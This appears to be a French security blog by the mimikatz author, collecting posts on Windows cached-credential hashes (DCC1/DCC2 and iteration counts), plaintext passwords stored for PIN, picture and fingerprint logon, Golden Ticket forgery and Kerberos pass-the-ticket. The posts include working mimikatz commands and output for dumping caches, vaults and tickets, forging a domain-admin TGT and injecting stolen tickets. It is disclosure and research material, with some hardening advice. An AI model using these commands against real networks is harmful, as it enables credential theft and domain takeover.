MsCache v2 / DCC2 et nombre d’itérations

Dans un domaine Windows, il se peut que les clients soient (temporairement) dans l’impossibilité de valider leur authentification auprès d’un contrôleur de domaine.
C’est particulièrement le cas des postes mobiles (portables/tablettes/…).

Pour permettre les ouvertures de sessions ou déverrouillage en mode hors-ligne, Windows peut conserver un certains nombres d’entrées utilisateurs en cache (par défaut 10 – http://technet.microsoft.com/library/cc957390.aspx).

Ces caches se trouvent dans la base de registre, à l’emplacement HKEY_LOCAL_MACHINE\SECURITY\Cache (accessible à SYSTEM).
Ces entrées sont chiffrés symétriquement, mais l’on y retrouve quelques informations sur l’utilisateur, ainsi que des hash suffisants pour vérifier l’authentification.

Windows 2003/XP

L’algorithme de chiffrement est RC4.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC1 = MD4(MD4(Unicode(password)) . LowerUnicode(username))
soit
DCC1 = MD4(hashNTLM . LowerUnicode(username))

Devant les facilités d’attaques par pass-the-hash, l’on ne peut que se réjouir de ce « salage » par le nom d’utilisateur.
Il existe toutefois un nombre tables pré-calculées pour des utilisateurs tel que Administrator facilitant les attaques sur ces hashs.

mimikatz # lsadump::cache
Domain : WINXP
SysKey : a4905bdecbbef089d5e7c26dd86cf285

Policy subsystem is : 1.7
LSA Key : 57af228842e63b532789b8f207a4e942

[NL$1 - 02/03/2014 21:26:51]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV1 : 53f1a7f5e51fdb29e32f07204fb8d54e

mimikatz # 

Windows Vista/2008 et >

L’algorithme de chiffrement est AES128.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))
avec DCC1 calculé de la même manière que pour 2003/XP

mimikatz # lsadump::cache
Domain : WIN81
SysKey : ab023e1a0a41ae80986b0075bbcd645b

Policy subsystem is : 1.12
LSA Key(s) : 1, default {021c6967-cf42-411f-8929-38feebd05ff1}
  [00] {021c6967-cf42-411f-8929-38feebd05ff1} b2e66d1c21b2c37db1c9b0c01438fff00f9754ce5159b2dc133c27d0f63efb81

* Iteration is set to default (10240)

[NL$1 - 02/03/2014 21:33:05]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV2 : c1c34952b9bb06a561820e8f404da848

mimikatz # 

Il n’y a finalement pas beaucoup de différence avec XP/2003 ; aucune donnée de salage supplémentaire n’est introduite.
Seul la fonction PBKDF2 introduit une nouvelle variable : un nombre d’itérations SHA1 avec le même sel que précédemment (le nom d’utilisateur).

Itérations

Seulement disponible sous NT6, ces itérations ont pour rôle de ralentir les attaques brutes.
Plus leur nombre est élevé, plus l’attaque brute sera longue (et l’ouverture de session Windows lente).

Ce nombre d’itérations est connu, il s’agit de 10240 (10 << 10).

Cette valeur est bien évidemment hardcodée dans tous les programmes traitant les hashs MsCache v2 (que j’ai pu voir !)

Exemple avec Cain

cain_mscachev2

Cain a réussi à valider le mot de passe waza1234/ pour le premier hash (il s’agit de la configuration par défaut).
La deuxième ligne contient en revanche le hash d’une configuration « modifiée » sur lequel Cain n’a pu vérifier le mot de passe.

Cette modification est le nombre d’itération, celui-ci est configurable par la base de registre :
HKEY_LOCAL_MACHINE\SECURITY\Cache valeur DWORD(32) NL$IterationCount
reg_nl_iteration

  • si ce nombre est inférieur à 10240, il s’agit d’un multiplicateur par 1024 (20 donnera donc 20480 itérations)
  • si ce nombre est supérieur à 10240, il s’agit du nombre d’itérations (arrondi à 1024)

Code simplifié

if(pNL$IterationCount) // NL$IterationCount in registry
{
	if(*pNL$IterationCount > 10240)
	{
		Iterations = *pNL$IterationCount & ~0x3ff;
	}
	else
	{
		Iterations = *pNL$IterationCount * 1024;
	}
}
else // No NL$IterationCount in registry (default), equ. 10
{
	Iterations = 10240;
}

Conclusion en 3 points

  1. Il serait judicieux de pouvoir paramétrer le nombre d’itération dans des outils tel que Cain et HashCat ;
  2. Il est dommage que Microsoft n’ait pas choisi de saler ce hash DCC2 avec une donnée complexe propre à chaque système ;
  3. S’il est nécessaire de conserver la mise en cache, il est intéressant de modifier NL$IterationCount avec une valeur différente pour chaque système.
    (pour désactiver toute mise en cache dans un domaine, positionner CachedLogonsCount à 0, voir ci-dessous)

Téléchargement & ressources

mimikatz_iteration
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ St’Hack 4.0

sthack_elephant

Agix a eu la gentille idée de m’inviter à Bordeaux pour la 4ème édition de la St’Hack.

Je présenterai donc mimikatz et ses nouveautés Vendredi 14 Mars à 15h50 au CAPC (https://goo.gl/maps/QtwvV)

Venez assister à plusieurs conférences de sécurité et serrer la patte d’un gentilkiwi !
Programme disponible à l’adresse https://www.sthack.fr/fr/talks

J’essayerai de faire des stickers mimikatz cette fois ;)

Au programme :

Présentation de méthodes de récupération et de rejoue des données d’authentification Windows

  • Faiblesse des gestionnaires de sécurité et améliorations sous Windows 8.1 ;
  • Utilisation de moyens matériel, une solution ? ;
  • Quelques petits à-côtés pour les survivants.

sthack

Windows 8, empreintes digitales

windows_fingerprints

Dans un post précédent j’abordais deux méthodes d’authentifications alternatives au mot de passe historique sous Windows 8.x ; le code pin ou l’image.

Mais Windows 8.x supporte maintenant nativement l’authentification biométrique, par exemple par empreinte digitale (http://technet.microsoft.com/library/dn344916.aspx).

logon_fingerprints

Windows n’implémente pas une réelle architecture d’authentification biométrique, il vérifie dans une base interne que l’empreinte figure bien dans son référentiel et… retourne le mot de passe utilisateur en clair…

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 23 2014 00:52:44)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NT\Système

408     34205           AUTORITE NT\Système     S-1-5-18        (04g,20p)       Primary
 -> Impersonated !
 * Process Token : 1347551      win81\Utilisateur       S-1-5-21-650724876-2192615621-2148298248-1001   (14g,23p)       Primary
 * Thread Token  : 1354005      AUTORITE NT\Système     S-1-5-18        (04g,20p)       Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
        Name       : Informations d’identification Web
        Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Items (3)
          0.    PIN Logon Credential
                Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
                LastWritten     : 23/01/2014 22:39:26
                Flags           : 00000000
                Ressource       : PIN Logon Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 1234
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Pin Logon ***
                User            : win81\Utilisateur
                Password        : waza1234/
                PIN Code        : 1234

          1.    WinBio CredProv Credential
                Type            : {fec87291-14f6-40b6-bd98-7ff245986b26}
                LastWritten     : 22/01/2014 23:53:14
                Flags           : 00000000
                Ressource       : WinBio CredProv Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 0c 00 00 00 0c 00 00 00 06 00 00 00 55 00 74 00 69 00 6c 00 69 00 73 00 61 00 74 00 65 00 75 00 72 00 00 00 77 00 69 00 6e 00 38 00 31 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Biometric ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Username [ 6]   : Utilisateur

          2.    Picture Password Credential
                Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
                LastWritten     : 22/01/2014 22:34:16
                Flags           : 00000000
                Ressource       : Picture Password Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 02 00 00 00 56 00 00 00 39 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 2f 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Picture Password ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Background path : C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-650724876-2192615621-2148298248-1001\ReadOnly\PicturePassword\background.png
                Picture password (grid is 150*100)
                 [0] circle (x =  86 ; y =  57 ; r =   8) - anticlockwise
                 [1] point  (x =  47 ; y =  46)
                 [2] point  (x = 125 ; y =  46)

Le mot de passe utilisateur est, une fois de plus, stocké dans le coffre du système…

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Golden Ticket

golden_ticket

Nous l’avons vu précédemment, les tickets Kerberos peuvent être récupérés et réinjectés.
Ces derniers sont très pratiques :

  • ils permettent l’authentification basé sur un mot de passe ou une carte à puce ;
  • le SSO associé reste transparent ;
  • le changement de mot de passe n’influe pas sur les tickets déjà émis ;
  • etc.

La cible de choix concernant les tickets Kerberos reste le TGT. Ce ticket ne permet pas d’accéder directement à un service en particulier, mais « représente » l’identité de l’utilisateur courant lors des demandes de tickets de service au KDC (permettant ensuite d’accéder directement à une multitude de services ;))

Le TGT est généré par le KDC après que le client ait « prouvé » qu’il possédait un secret de l’utilisateur (le hash NTLM découlant du mot de passe utilisateur ou la clé privée d’un certificat émis par une autorité autorisé du domaine).
Par défaut ce TGT est valide 10 heures, et peut être renouvelé tacitement pendant 7 jours.

Le client a connaissance des métadonnées du ticket Kerberos pour son suivi (quand le renouveler, pour quel domaine ce dernier peut être utilisé, avec quelle clé de session chiffrer les échanges…), mais le TGT en lui même est chiffré par le KDC via le hash du compte krbtgt. Le client ne peut pas le déchiffrer , il s’en sert « tel quel ».

Création d’un ticket d’or

A partir d’informations spécifiques, il est possible de demander à mimikatz de créer un TGT très particulier du compte admin du domaine !
Ces informations sont :

  • Nom du compte administrateur (Administrateur)
  • Nom complet du domaine (domain.local)
  • SID du domaine (S-1-5-21-1723555596-1415287819-2705645101)
  • Hash NTLM du compte krbtgt (6194bd1a5bf3ecd542e8aac9860bddf0)

C’est tout.
Le ticket d’or peut être généré depuis n’importe quelle machine, même hors du domaine…

mimikatz # kerberos::golden /admin:Administrateur /domain:domain.local /sid:S-1-5-21-1723555596-1415287819-2705645101 /krbtgt:6194bd1a5bf3ecd542e8aac9860bddf0 /ticket:domain.local.kirbi

golden_create
Ha oui, quelques rappels/détails :

  • il s’agit du compte Administrateur du domaine ;
  • ce ticket est valide 10 heures ans ;
  • le changement de mot de passe du compte Administrateur n’a aucun impact sur ce ticket ;
  • ce ticket n’est pas émis par le KDC, il n’est pas assujetti aux restrictions des méthodes de chiffrements autorisées ;
  • le hash NTLM du compte krbtgt/la clé du KDC n’est pas renouvelée automatiquement.

Utilisation du ticket d’or

golden_ticket_use

Tout comme un ticket « récupéré », ce ticket d’or peut être injecté sous Windows NT 6 via le message au package Kerberos : KerbSubmitTicketMessage.

mimikatz # kerberos::ptt domain.local.kirbi

golden_ticket_use_10yr

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

willy wonka meme

Explications

Nul besoin d’être Willy Wonka pour comprendre le format des tickets Kerberos, ainsi que les petites spécificités Microsoft pour la partie « autorisation » :

Extrait :

KRB-CRED        ::= [APPLICATION 22] SEQUENCE {
        pvno            [0] INTEGER (5),
        msg-type        [1] INTEGER (22),
        tickets         [2] SEQUENCE OF Ticket,
        enc-part        [3] EncryptedData -- EncKrbCredPart
}

Il « suffit » de créer, chiffrer et encoder correctement les structures qui suivent.

Contenu du TGT

sous sa forme KRB-CRED

Le ticket est encodé en ASN.1 et contient une partie des métadonnées.

APPLICATION (22) : SEQUENCE : 
 (0) : INTEGER : 5
 (1) : INTEGER : 22
 (2) : SEQUENCE : 
  APPLICATION (1) : SEQUENCE : 
   (0) : INTEGER : 5
   (1) : GENERAL STRING : 'DOMAIN.LOCAL'
   (2) : SEQUENCE : 
    (0) : INTEGER : 2
    (1) : SEQUENCE : 
     GENERAL STRING : 'krbtgt'
     GENERAL STRING : 'DOMAIN.LOCAL'
    (3) : SEQUENCE : 
     (0) : INTEGER : 23
     (1) : INTEGER : 2
     (2) : OCTET STRING : 
      68A972A80FE035DE6D165F63F6071D
      [...]
      59BD9F3FA2C146053271
   (3) : SEQUENCE : 
    (0) : INTEGER : 0
    (2) : OCTET STRING : 
     APPLICATION (29) : SEQUENCE : 
      (0) : SEQUENCE : SEQUENCE : 
       (0) : SEQUENCE : 
        (0) : INTEGER : 23
        (1) : OCTET STRING : 
         582AE1D0472CE6F2C0E4CADB3BCE91C1
       (1) : GENERAL STRING : 'DOMAIN.LOCAL'
       (2) : SEQUENCE : 
        (0) : INTEGER : 1
        (1) : SEQUENCE : 
         GENERAL STRING : 'Administrateur'
        (3) : BIT STRING UnusedBits:0 : 40E10000
         (5) : GENERALIZED TIME : '20140118160650Z'
         (6) : GENERALIZED TIME : '20140119020650Z'
         (7) : GENERALIZED TIME : '20140125160650Z'
         (8) : GENERAL STRING : 'DOMAIN.LOCAL'
         (9) : SEQUENCE : 
          (0) : INTEGER : 2
          (1) : SEQUENCE : 
           GENERAL STRING : 'krbtgt'
           GENERAL STRING : 'DOMAIN.LOCAL'

Les lignes 17 à 19 sont un extrait du TGT chiffrés.

TGT déchiffré

A l’aide du hash NTLM du compte krbtgt, le TGT peut être déchiffré.
C’est d’ailleurs ce que fait le KDC quand le TGT lui est renvoyé lors d’une demande de ticket de service. Il ne prend évidemment pas pour argent comptant les métadonnées renvoyés par le client.

APPLICATION (3) : SEQUENCE : 
 (0) : BIT STRING UnusedBits:0 : 40E10000
 (1) : SEQUENCE : 
  (0) : INTEGER : 23
  (1) : OCTET STRING : 
   582AE1D0472CE6F2C0E4CADB3BCE91C1
  (2) : GENERAL STRING : 'DOMAIN.LOCAL'
  (3) : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : SEQUENCE : 
    GENERAL STRING : 'Administrateur'
  (4) : SEQUENCE : 
   (0) : INTEGER : 0
   (1) : OCTET STRING : 
  (5) : GENERALIZED TIME : '20140118160650Z'
  (6) : GENERALIZED TIME : '20140118160650Z'
  (7) : GENERALIZED TIME : '20140119020650Z'
  (8) : GENERALIZED TIME : '20140125160650Z'
  (10) : SEQUENCE : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : OCTET STRING : SEQUENCE : SEQUENCE : 
    (0) : INTEGER : 128
    (1) : OCTET STRING : 
     050000000000000001000000280
     [...]
     B22B83D6D3B9D549E88D0000000

Les lignes 24 à 26 sont un extrait du PAC (structure regroupant des données d’autorisation).

Contenu du PAC

Ces données sont encodées au format DCE avec un marshalling des données RPCE. Cette structure peut, dans certains cas, contenir les hashs LM/NTLM de l’utilisateur.

*** Logon Informations ***

LogonTime              01cf14674bc48b49 - 18/01/2014 17:06:50
LogoffTime             7fffffffffffffff -
KickOffTime            7fffffffffffffff -
PasswordLastSet        01cf0fe36db4dea8 - 12/01/2014 23:12:48
PasswordCanChange      01cf10ac981e9ea8 - 13/01/2014 23:12:48
PasswordMustChange     01cf30e4630e5ea8 - 23/02/2014 23:12:48

EffectiveName          (28, 28, @ 00020004)     Administrateur
FullName               (50, 50, @ 00020008)     Administrateur du domaine
LogonScript            ( 0,  0, @ 0002000c)     (null)
ProfilePath            ( 0,  0, @ 00020010)     (null)
HomeDirectory          ( 0,  0, @ 00020014)     (null)
HomeDirectoryDrive     ( 0,  0, @ 00020018)     (null)

LogonCount             18
BadPasswordCount       0

UserId                 000001f4 (500)
PrimaryGroupId         00000201 (513)

GroupCount             5
GroupIds               @ 0002001c
 * 520  (7)
 * 513  (7)
 * 512  (7)
 * 518  (7)
 * 519  (7)

UserFlags              00000020 (32)
UserSessionKey         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

LogonServer            (22, 24, @ 00020020)     DC-2012R2-X
LogonDomainName        (12, 14, @ 00020024)     DOMAIN

LogonDomainId          @ 00020028
 * SID : S-1-5-21-1723555596-1415287819-2705645101

UserAccountControl     00000010 (16)
SubAuthStatus          00000000 (0)

LastSuccessfulILogon   0000000000000000
LastFailedILogon       0000000000000000

FailedILogonCount      0

SidCount               1
ExtraSids              @ 0002002c
ResourceGroupDomainSid @ 00000000
ResourceGroupCount     0
ResourceGroupIds       @ 00000000

*** Client name and ticket information ***
ClientId 01cf14674ba00900 - 18/01/2014 17:06:50
Client   (28, Administrateur)

*** Server Signature ***
Type -138 - (0) : 28 0c 88 6b ac 03 88 86 c6 dc ed a2 55 15 b9 b0

*** KDC Signature ***
Type -138 - (0) : d7 2d f9 00 a5 e4 b2 2b 83 d6 d3 b9 d5 49 e8 8d

La signature du serveur est ici basé sur la clé du KDC elle même (la cible d’un TGT restant finalement un KDC). S’il s’agissait d’un ticket de service, le hash du compte NTLM du servicé visé aurait été utilisé.
La signature du KDC est évidemment basée sur la clé du KDC.

Plus d’information sur la signature du PAC :

Pass the ticket

ms_kerberos
Le gardien des Enfers (Κέρϐερος) de Microsoft

mimikatz permettait la récupération de deux type de données d’authentification :

  • les hashs, réutilisables dans Windows via « Pass the hash »
  • les mots de passe, directement réutilisables dans Windows

Puis, un document très intéressant de Microsoft est apparu : http://www.microsoft.com/download/details.aspx?id=36036. Il nous apprend entre autres :

  • que les attaques par « Pass the hash » ont encore de très beaux jours devant elles ;
  • qu’il est normal de retrouver des mots de passe dans le processus LSASS ;
  • qu’à partir d’un environnement Windows 7, NTLM peut être désactivé sur un parc maitrisé et homogène (sécurité pour maquettes ;)

Mais ce document rappelle aussi que Kerberos reste autant vulnérable à l’extraction de données que les autres fournisseurs de sécurité…

Kerberos sous Windows, les bases

Kerberos repose sur l’utilisation de tickets, chiffrés, ayant des durées d’utilisation et de renouvellement prédéfinies.
Dans un environnement Windows, les secrets partagés restent les hash des comptes (!), la clé du KDC est le hash du compte krbtgt (http://msdn.microsoft.com/library/windows/desktop/aa378170.aspx).

Contrairement aux autres protocoles d’authentification, Kerberos fonctionne uniquement dans le cadre d’un domaine et en utilisant les noms de serveurs.
Voici un très bon schéma de Microsoft résumant l’authentification d’un client, l’obtention d’un TGT (Ticket Granting Ticket), la demande d’un ticket de service, et son utilisation.
Bb742516.kerb01_big
Source : http://technet.microsoft.com/library/bb742516.aspx

Il y a donc deux types de tickets intéressants :

  • les TGT – représentant les utilisateurs – ils permettent d’obtenir des Tickets de services auprès d’un TGS (Ticket Granting Service)
    [00000001] - 12
       Start/End/MaxRenew: 13/01/2014 01:13:30 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : krbtgt/DOMAIN.LOCAL @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

    TGT identifiant user2 sur le domain DOMAIN.LOCAL, valide pendant 10h00 et renouvelable pendant 1 semaine

    Par défaut, Windows ne permet pas leurs export aux utilisateurs (il remplacera la clé de session par une clé nulle, rendant son utilisation impossible).
    Un paramètre doit être positionné par un administrateur pour qu’un utilisateur puisse récupérer son TGT : http://support.microsoft.com/kb/308339

  • les Tickets de service : ils permettent d’accéder à une ressource (partage, service web, annuaire) sur un serveur précis
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;

    Ticket de service identifiant user2 pour un service de partage (cifs) sur le serveur (pc-81.domain.local), valide pendant 10h00 et renouvelable pendant 1 semaine

    Cette fois ci, un utilisateur lambda peut récupérer ses propres tickets sans droits particuliers…

Manipulons les tickets

Via l’appel au Package d’authentification Kerberos (LsaCallAuthenticationPackage), Microsoft nous offre des structures permettant de manipuler les tickets Kerberos : http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx.

Le message permettant d’injecter un ticket arbitraire de type KRB-CRED dans notre session est : KerbSubmitTicketMessage (celui ci n’est pas disponible sous XP ou 2003).
Il ne nécessite aucun droit particulier pour injecter des ticket dans notre propre session.

La récupération depuis le processus LSASS de tous les tickets, de toutes les sessions, et de toutes les clés nécessite en revanche les droits administrateurs ou SYSTEM (et dans ce cas le privilège Debug devient inutile)

  1. Récupérons tous les tickets sur un Terminal Server, ou une station sensible
    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # sekurlsa::tickets /export
    
    Authentication Id : 0 ; 2747917 (00000000:0029ee0d)
    Session           : Interactive from 2
    User Name         : userlocaladmin
    Domain            : DOMAIN
    
            Tickets group 0
             [00000000]
               Start/End/MaxRenew: 13/01/2014 01:44:15 ; 13/01/2014 11:44:10 ; 20/01/2014 01:44:10
               Service Name (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Target Name  (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Client Name  (01) : userlocaladmin ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
               Session Key  (12) : 6b 96 7b 29 70 03 a5 45 f6 e4 1a 25 5c a1 bf 0d 35 0a d5 db 86 ab 7e 5f be 67 3e f8 2b 05 d6 3d
               Ticket  (03 - 12) : [...]
               * Saved to file [0;29ee0d]-0-0-40a50000-userlocaladmin@LDAP-dc-2012r2-x.domain.local.kirbi !
     [...]
    
    Authentication Id : 0 ; 2628340 (00000000:00281af4)
    Session           : Interactive from 1
    User Name         : user1
    Domain            : DOMAIN
     [...]
    
    Authentication Id : 0 ; 1873488 (00000000:001c9650)
    Session           : Interactive from 3
    User Name         : Administrateur
    Domain            : DOMAIN
     [...]
            Tickets group 2
             [00000000]
               Start/End/MaxRenew: 13/01/2014 00:57:49 ; 13/01/2014 10:57:49 ; 20/01/2014 00:57:49
               Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Target Name  (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Client Name  (01) : Administrateur ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
               Session Key  (12) : 76 7b db 67 1d 2e a7 8c a3 39 b5 12 a2 c1 27 cd ac 7d d9 04 20 fa a3 a8 2d 70 3e 9c 1e e3 3b d1
               Ticket  (02 - 12) : [...]
               * Saved to file [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi !

    Oui, cela fonctionne aussi avec les « minidumps ».
    Un Administrateur du domaine avait une session sur cette machine ;)

  2. Injectons, sur une autre machine ce TGT récupéré
    mimikatz # kerberos::ptt [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi
    Ticket '[0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi' successfully submitted for current session

    Il suffit de demander la parcours d’un partage pour qu’un Ticket de service ad hoc soit demandé en se basant sur le TGT injecté.

h_kerb_tgt

Export de ses tickets de services sans être administrateur

En se limitant à l’utilisateur courant, les tickets de services pourront être exportés sans droits particuliers. Ils peuvent dans certains cas être intéressants (prêt d’une session, poste non verrouillé, …)

  1. Récupérons les tickets sur poste/serveur disposant de l’accès désiré (ici partage de fichier sur PC-81 au nom d’user2)
    mimikatz # kerberos::list /export
    
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
       * Saved to file     : 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
  2. Injectons, sur une autre machine le ticket de service ainsi récupéré
    mimikatz # kerberos::ptt 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
    Ticket '2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi' successfully submitted for current session

h_kerb_service

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz